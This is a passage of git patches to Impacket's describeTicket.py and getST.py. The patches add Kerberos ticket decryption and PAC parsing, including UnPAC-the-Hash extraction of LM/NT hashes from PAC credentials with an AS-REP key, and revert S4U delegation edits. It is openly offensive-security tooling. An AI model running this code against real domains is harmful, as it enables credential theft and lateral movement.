parsed_pac: - element_type_name = list(element_type.keys())[0] - logging.info(" %-28s:" % element_type_name) - for attribute in element_type[element_type_name]: - logging.info(" %-26s: %s" % (attribute, element_type[element_type_name][attribute])) - - -def parse_pac(pacType): + logging.debug("Handling Kerberos keys") + ekeys = generate_kerberos_keys(args) + + # copypasta from krbrelayx.py + # Select the correct encryption key + etype = decodedTicket['ticket']['enc-part']['etype'] + try: + logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) + key = ekeys[etype] + logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) + # This raises a KeyError (pun intended) if our key is not found + except KeyError: + if len(ekeys) > 0: + logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', + constants.EncryptionTypes(etype).name, + etype, + ', '.join([str(enctype) for enctype in ekeys.keys()])) + else: + logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', + constants.EncryptionTypes(etype).name, + etype) + return None + + # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? + # Recover plaintext info from ticket + try: + cipherText = decodedTicket['ticket']['enc-part']['cipher'] + newCipher = _enctype_table[int(etype)] + plainText = newCipher.decrypt(key, 2, cipherText) + except InvalidChecksum: + logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') + if args.salt: + logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') + logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') + return + + logging.debug('Ticket successfully decrypted') + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] + # So here we have the PAC + pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + parsed_pac = parse_pac(pacType, args) + logging.info("%-30s:" % "Decrypted PAC") + for element_type in parsed_pac: + element_type_name = list(element_type.keys())[0] + logging.info(" %-28s" % element_type_name) + for attribute in element_type[element_type_name]: + logging.info(" %-26s: %s" % (attribute, element_type[element_type_name][attribute])) + + cred_number += 1 + + +def parse_pac(pacType, args): def format_sid(data): return "S-%d-%d-%d-%s" % (data['Revision'], data['IdentifierAuthority'], data['SubAuthorityCount'], '-'.join([str(e) for e in data['SubAuthority']])) - def PACinfiniteData(obj): - while 'fields' in dir(obj): - if 'Data' in obj.fields.keys(): - obj = obj.fields['Data'] - else: - return obj.fields - return obj def PACparseFILETIME(data): # FILETIME structure (minwinbase.h) # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). @@ -194,91 +192,91 @@ def PACparseFILETIME(data): return v_FILETIME def PACparseGroupIds(data): groups = [] - for group in PACinfiniteData(data): + for group in data: groupMembership = {} - groupMembership['RelativeId'] = PACinfiniteData(group.fields['RelativeId']) - groupMembership['Attributes'] = PACinfiniteData(group.fields['Attributes']) + groupMembership['RelativeId'] = group['RelativeId'] + groupMembership['Attributes'] = group['Attributes'] groups.append(groupMembership) return groups def PACparseSID(sid): if type(sid) == dict: str_sid = format_sid({ - 'Revision': PACinfiniteData(sid['Revision']), - 'SubAuthorityCount': PACinfiniteData(sid['SubAuthorityCount']), - 'IdentifierAuthority': int(binascii.hexlify(PACinfiniteData(sid['IdentifierAuthority'])), 16), - 'SubAuthority': PACinfiniteData(sid['SubAuthority']) + 'Revision': sid['Revision'], + 'SubAuthorityCount': sid['SubAuthorityCount'], + 'IdentifierAuthority': int(binascii.hexlify(sid['IdentifierAuthority']), 16), + 'SubAuthority': sid['SubAuthority'] }) return str_sid else: return '' - def PACparseExtraSids(data): + def PACparseExtraSids(sid_and_attributes_array): _ExtraSids = [] - for sid in PACinfiniteData(PACinfiniteData(data.fields)['Data']): - _d = { 'Attributes': PACinfiniteData(sid.fields['Attributes']), 'Sid': PACparseSID(sid.fields['Sid']) } + for sid in sid_and_attributes_array['Data']: + _d = { 'Attributes': sid['Attributes'], 'Sid': PACparseSID(sid['Sid']) } _ExtraSids.append(_d['Sid']) return _ExtraSids parsed_tuPAC = [] buff = pacType['Buffers'] for bufferN in range(pacType['cBuffers']): - infoBuffer = PAC_INFO_BUFFER(buff) + infoBuffer = pac.PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] - if infoBuffer['ulType'] == PAC_LOGON_INFO: + if infoBuffer['ulType'] == pac.PAC_LOGON_INFO: type1 = TypeSerialization1(data) newdata = data[len(type1)+4:] - kerbdata = KERB_VALIDATION_INFO() + kerbdata = pac.KERB_VALIDATION_INFO() kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} - parsed_data['Logon Time'] = PACparseFILETIME(kerbdata.fields['LogonTime']) - parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) - parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) - parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) - parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) - parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) + parsed_data['Logon Time'] = PACparseFILETIME(kerbdata['LogonTime']) + parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata['LogoffTime']) + parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata['KickOffTime']) + parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet']) + parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange']) + parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange']) # parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) # parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) - # parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) - parsed_data['Account Name'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') - parsed_data['Full Name'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') - parsed_data['Logon Script'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') - parsed_data['Profile Path'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') - parsed_data['Home Dir'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') - parsed_data['Dir Drive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') - parsed_data['Logon Count'] = PACinfiniteData(kerbdata.fields['LogonCount']) - parsed_data['Bad Password Count'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) - parsed_data['User RID'] = PACinfiniteData(kerbdata.fields['UserId']) - parsed_data['Group RID'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) - parsed_data['Group Count'] = PACinfiniteData(kerbdata.fields['GroupCount']) - parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['GroupIds'])]) - UserFlags = PACinfiniteData(kerbdata.fields['UserFlags']) + # parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] + parsed_data['Account Name'] = kerbdata['EffectiveName'] + parsed_data['Full Name'] = kerbdata['FullName'] + parsed_data['Logon Script'] = kerbdata['LogonScript'] + parsed_data['Profile Path'] = kerbdata['ProfilePath'] + parsed_data['Home Dir'] = kerbdata['HomeDirectory'] + parsed_data['Dir Drive'] = kerbdata['HomeDirectoryDrive'] + parsed_data['Logon Count'] = kerbdata['LogonCount'] + parsed_data['Bad Password Count'] = kerbdata['BadPasswordCount'] + parsed_data['User RID'] = kerbdata['UserId'] + parsed_data['Group RID'] = kerbdata['PrimaryGroupId'] + parsed_data['Group Count'] = kerbdata['GroupCount'] + parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])]) + UserFlags = kerbdata['UserFlags'] User_Flags_Flags = [] for flag in User_Flags: if UserFlags & flag.value: User_Flags_Flags.append(flag.name) parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) - parsed_data['User Session Key'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') - parsed_data['Logon Server'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') - parsed_data['Logon Domain Name'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') - parsed_data['Logon Domain SID'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) - UAC = PACinfiniteData(kerbdata.fields['UserAccountControl']) + parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') + parsed_data['Logon Server'] = kerbdata['LogonServer'] + parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] + parsed_data['Logon Domain SID'] = PACparseSID(kerbdata['LogonDomainId']) + UAC = kerbdata['UserAccountControl'] UAC_Flags = [] for flag in UserAccountControl_Flags: if UAC & flag.value: UAC_Flags.append(flag.name) parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) - parsed_data['Extra SID Count'] = PACinfiniteData(kerbdata.fields['SidCount']) + parsed_data['Extra SID Count'] = kerbdata['SidCount'] parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) parsed_data['Resource Group Domain SID'] = PACparseSID(kerbdata.fields['ResourceGroupDomainSid']) - parsed_data['Resource Group Count'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) - parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['ResourceGroupIds'])]) - # parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') - # parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) - # parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) + parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] + parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) + # parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') + # parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus'] + # parsed_data['Reserved3'] = kerbdata['Reserved3'] parsed_tuPAC.append({"LoginInfo": parsed_data}) - elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: - clientInfo = PAC_CLIENT_INFO() + elif infoBuffer['ulType'] == pac.PAC_CLIENT_INFO_TYPE: + clientInfo = pac.PAC_CLIENT_INFO() clientInfo.fromString(data) parsed_data = {} parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) @@ -287,8 +285,8 @@ def PACparseExtraSids(data): parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) - elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: - upn = UPN_DNS_INFO(data) + elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO: + upn = pac.UPN_DNS_INFO(data) UpnLength = upn.fields['UpnLength'] UpnOffset = upn.fields['UpnOffset'] UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') @@ -301,32 +299,70 @@ def PACparseExtraSids(data): parsed_data['DNS Domain Name'] = DnsName parsed_tuPAC.append({"UpnDns": parsed_data}) - elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: - signatureData = PAC_SIGNATURE_DATA(data) + elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM: + signatureData = pac.PAC_SIGNATURE_DATA(data) parsed_data = {} parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') parsed_tuPAC.append({"ServerChecksum": parsed_data}) - elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: - signatureData = PAC_SIGNATURE_DATA(data) + elif infoBuffer['ulType'] == pac.PAC_PRIVSVR_CHECKSUM: + signatureData = pac.PAC_SIGNATURE_DATA(data) parsed_data = {} parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name # signatureData.dump() parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') parsed_tuPAC.append({"KDCChecksum": parsed_data}) - elif infoBuffer['ulType'] == PAC_CREDENTIALS_INFO: - logging.debug("TODO: implement PAC_CREDENTIALS_INFO parsing") - - elif infoBuffer['ulType'] == PAC_DELEGATION_INFO: - delegationInfo = S4U_DELEGATION_INFO(data) + elif infoBuffer['ulType'] == pac.PAC_CREDENTIALS_INFO: + # Parsing 2.6.1 PAC_CREDENTIAL_INFO + credential_info = pac.PAC_CREDENTIAL_INFO(data) + parsed_credential_info = {} + parsed_credential_info['Version'] = "(0x%x) %d" % (credential_info.fields['Version'], credential_info.fields['Version']) + credinfo_enctype = credential_info.fields['EncryptionType'] + parsed_credential_info['Encryption Type'] = "(0x%x) %s" % (credinfo_enctype, constants.EncryptionTypes(credential_info.fields['EncryptionType']).name) + if not args.asrep_key: + parsed_credential_info['Encryption Type'] = "" + logging.error('No ASREP key supplied, cannot decrypt PAC Credentials') + parsed_tuPAC.append({"Credential Info": parsed_credential_info}) + else: + parsed_tuPAC.append({"Credential Info": parsed_credential_info}) + newCipher = _enctype_table[credinfo_enctype] + key = Key(credinfo_enctype, unhexlify(args.asrep_key)) + plain_credential_data = newCipher.decrypt(key, 16, credential_info.fields['SerializedData']) + type1 = TypeSerialization1(plain_credential_data) + newdata = plain_credential_data[len(type1) + 4:] + # Parsing 2.6.2 PAC_CREDENTIAL_DATA + credential_data = pac.PAC_CREDENTIAL_DATA(newdata) + parsed_credential_data = {} + parsed_credential_data[' Credential Count'] = credential_data['CredentialCount'] + parsed_tuPAC.append({" Credential Data": parsed_credential_data}) + # Parsing (one or many) 2.6.3 SECPKG_SUPPLEMENTAL_CRED + for credential in credential_data['Credentials']: + parsed_secpkg_supplemental_cred = {} + parsed_secpkg_supplemental_cred[' Package Name'] = credential['PackageName'] + parsed_secpkg_supplemental_cred[' Credential Size'] = credential['CredentialSize'] + parsed_tuPAC.append({" SecPkg Credentials": parsed_secpkg_supplemental_cred}) + # Parsing 2.6.4 NTLM_SUPPLEMENTAL_CREDENTIAL + ntlm_supplemental_cred = pac.NTLM_SUPPLEMENTAL_CREDENTIAL(b''.join(credential['Credentials'])) + parsed_ntlm_supplemental_cred = {} + parsed_ntlm_supplemental_cred[' Version'] = ntlm_supplemental_cred['Version'] + parsed_ntlm_supplemental_cred[' Flags'] = ntlm_supplemental_cred['Flags'] + parsed_ntlm_supplemental_cred[' LmPasword'] = hexlify(ntlm_supplemental_cred['LmPassword']).decode('utf-8') + parsed_ntlm_supplemental_cred[' NtPasword'] = hexlify(ntlm_supplemental_cred['NtPassword']).decode('utf-8') + parsed_tuPAC.append({" NTLM Credentials": parsed_ntlm_supplemental_cred}) + + elif infoBuffer['ulType'] == pac.PAC_DELEGATION_INFO: + delegationInfo = pac.S4U_DELEGATION_INFO(data) parsed_data = {} - parsed_data['S4U2proxyTarget'] = PACinfiniteData(delegationInfo.fields['S4U2proxyTarget']).decode('utf-16-le') + parsed_data['S4U2proxyTarget'] = delegationInfo['S4U2proxyTarget'] parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data'] - parsed_data['S4UTransitedServices'] = PACinfiniteData(delegationInfo.fields['S4UTransitedServices']).decode('utf-16-le') + parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8') parsed_tuPAC.append({"DelegationInfo": parsed_data}) + else: + logger.debug("Unsupported PAC structure: %s" % infoBuffer['ulType']) + buff = buff[len(infoBuffer):] return parsed_tuPAC @@ -429,18 +465,26 @@ def parse_args(): parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - group = parser.add_argument_group() - group.title = 'Ticket decryption credentials (optional)' - group.description = 'Tickets carry a set of information encrypted by one of the target service account\'s Kerberos keys.' \ + ticket_decryption = parser.add_argument_group() + ticket_decryption.title = 'Ticket decryption credentials (optional)' + ticket_decryption.description = 'Tickets carry a set of information encrypted by one of the target service account\'s Kerberos keys.' \ '(example: if the ticket is for user:"john" for service:"cifs/service.domain.local", you need to supply credentials or keys ' \ 'of the service account who owns SPN "cifs/service.domain.local")' - group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') - group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="HEX PASSWORD", help='placeholder') - group.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') - group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') - group.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') - group.add_argument('--rc4', action="store", metavar="RC4", help='RC4 KEY (i.e. NT hash)') - group.add_argument('--aes', action="store", metavar="HEX KEY", help='AES128 or AES256 key') + ticket_decryption.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') + ticket_decryption.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="HEX PASSWORD", help='placeholder') + ticket_decryption.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') + ticket_decryption.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') + ticket_decryption.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') + ticket_decryption.add_argument('--rc4', action="store", metavar="RC4", help='RC4 KEY (i.e. NT hash)') + ticket_decryption.add_argument('--aes', action="store", metavar="HEXKEY", help='AES128 or AES256 key') + + credential_info = parser.add_argument_group() + credential_info.title = 'PAC Credentials decryption material' + credential_info.description = '[MS-PAC] section 2.6 (PAC Credentials) describes an element that is used to send credentials for alternate security protocols to the client during initial logon.' \ + 'This PAC credentials is typically used when PKINIT is conducted for pre-authentication. This structure contains LM and NT hashes.' \ + 'The information is encrypted using the AS reply key. Attack primitive known as UnPAC-the-Hash. (https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)' + credential_info.add_argument('--asrep-key', action="store", metavar="HEXKEY", help='AS reply key for PAC Credentials decryption') + if len(sys.argv) == 1: parser.print_help() From e74f4854144a21cf622635f2ca4fab0c4ec098e6 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 15:21:37 +0100 Subject: [PATCH 015/152] Reverting getST edit --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 6df3522714..adb162aae4 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. From 31d18cff1b2d3e45594ede3217d913b3c6efdfd6 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 15:21:54 +0100 Subject: [PATCH 016/152] Cleaning imports and overall code --- examples/describeTicket.py | 64 ++++++++++++++++++++++---------------- 1 file changed, 37 insertions(+), 27 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0a22678205..18e627fdce 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -19,24 +19,23 @@ import traceback import argparse import binascii -from enum import Enum - -from Cryptodome.Hash import MD4 import datetime import base64 -from binascii import unhexlify, hexlify -from impacket.krb5.constants import ChecksumTypes +from Cryptodome.Hash import MD4 +from enum import Enum +from binascii import unhexlify, hexlify from pyasn1.codec.der import decoder + from impacket import version -from impacket.examples import logger from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.examples import logger from impacket.krb5 import constants, pac -from impacket.krb5.asn1 import TGS_REP, AS_REP, EncTicketPart, AD_IF_RELEVANT +from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache +from impacket.krb5.constants import ChecksumTypes from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -# from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ -# PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO + class User_Flags(Enum): LOGON_EXTRA_SIDS = 0x0020 @@ -174,8 +173,11 @@ def parse_ccache(args): def parse_pac(pacType, args): + def format_sid(data): return "S-%d-%d-%d-%s" % (data['Revision'], data['IdentifierAuthority'], data['SubAuthorityCount'], '-'.join([str(e) for e in data['SubAuthority']])) + + def PACparseFILETIME(data): # FILETIME structure (minwinbase.h) # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). @@ -190,6 +192,8 @@ def PACparseFILETIME(data): if datetime.timedelta(microseconds=temp_time / 10).total_seconds() != 0: v_FILETIME = (datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(microseconds=temp_time / 10)).strftime("%d/%m/%Y %H:%M:%S %p") return v_FILETIME + + def PACparseGroupIds(data): groups = [] for group in data: @@ -198,6 +202,8 @@ def PACparseGroupIds(data): groupMembership['Attributes'] = group['Attributes'] groups.append(groupMembership) return groups + + def PACparseSID(sid): if type(sid) == dict: str_sid = format_sid({ @@ -209,14 +215,19 @@ def PACparseSID(sid): return str_sid else: return '' + + def PACparseExtraSids(sid_and_attributes_array): _ExtraSids = [] for sid in sid_and_attributes_array['Data']: _d = { 'Attributes': sid['Attributes'], 'Sid': PACparseSID(sid['Sid']) } _ExtraSids.append(_d['Sid']) return _ExtraSids + + parsed_tuPAC = [] buff = pacType['Buffers'] + for bufferN in range(pacType['cBuffers']): infoBuffer = pac.PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] @@ -227,16 +238,15 @@ def PACparseExtraSids(sid_and_attributes_array): kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} - parsed_data['Logon Time'] = PACparseFILETIME(kerbdata['LogonTime']) parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata['LogoffTime']) parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata['KickOffTime']) parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet']) parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange']) parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange']) - # parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) - # parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) - # parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] parsed_data['Account Name'] = kerbdata['EffectiveName'] parsed_data['Full Name'] = kerbdata['FullName'] parsed_data['Logon Script'] = kerbdata['LogonScript'] @@ -254,25 +264,25 @@ def PACparseExtraSids(sid_and_attributes_array): for flag in User_Flags: if UserFlags & flag.value: User_Flags_Flags.append(flag.name) - parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) - parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') - parsed_data['Logon Server'] = kerbdata['LogonServer'] - parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] - parsed_data['Logon Domain SID'] = PACparseSID(kerbdata['LogonDomainId']) + parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) + parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') + parsed_data['Logon Server'] = kerbdata['LogonServer'] + parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] + parsed_data['Logon Domain SID'] = PACparseSID(kerbdata['LogonDomainId']) UAC = kerbdata['UserAccountControl'] UAC_Flags = [] for flag in UserAccountControl_Flags: if UAC & flag.value: UAC_Flags.append(flag.name) - parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) - parsed_data['Extra SID Count'] = kerbdata['SidCount'] - parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) + parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) + parsed_data['Extra SID Count'] = kerbdata['SidCount'] + parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) parsed_data['Resource Group Domain SID'] = PACparseSID(kerbdata.fields['ResourceGroupDomainSid']) - parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] - parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) - # parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') - # parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus'] - # parsed_data['Reserved3'] = kerbdata['Reserved3'] + parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] + parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) + parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') + parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus'] + parsed_data['Reserved3'] = kerbdata['Reserved3'] parsed_tuPAC.append({"LoginInfo": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_CLIENT_INFO_TYPE: @@ -361,7 +371,7 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_tuPAC.append({"DelegationInfo": parsed_data}) else: - logger.debug("Unsupported PAC structure: %s" % infoBuffer['ulType']) + logger.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) buff = buff[len(infoBuffer):] return parsed_tuPAC From 37df0981316e3046b44a4beed2c0eff11360dbed Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 15:23:16 +0100 Subject: [PATCH 017/152] Reverting ALL getST changes, wrong dev branch --- examples/getST.py | 191 +++++++++++++++++++++------------------------- 1 file changed, 87 insertions(+), 104 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index adb162aae4..fa536ff1f0 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -79,7 +79,6 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None - self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -402,10 +401,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__no_s4u2proxy and self.__options.spn is not None: - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_UNKNOWN.value) - else: - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -506,129 +502,120 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText - if self.__no_s4u2proxy: - cipherText = tgs['enc-part']['cipher'] - plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey - else: - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - 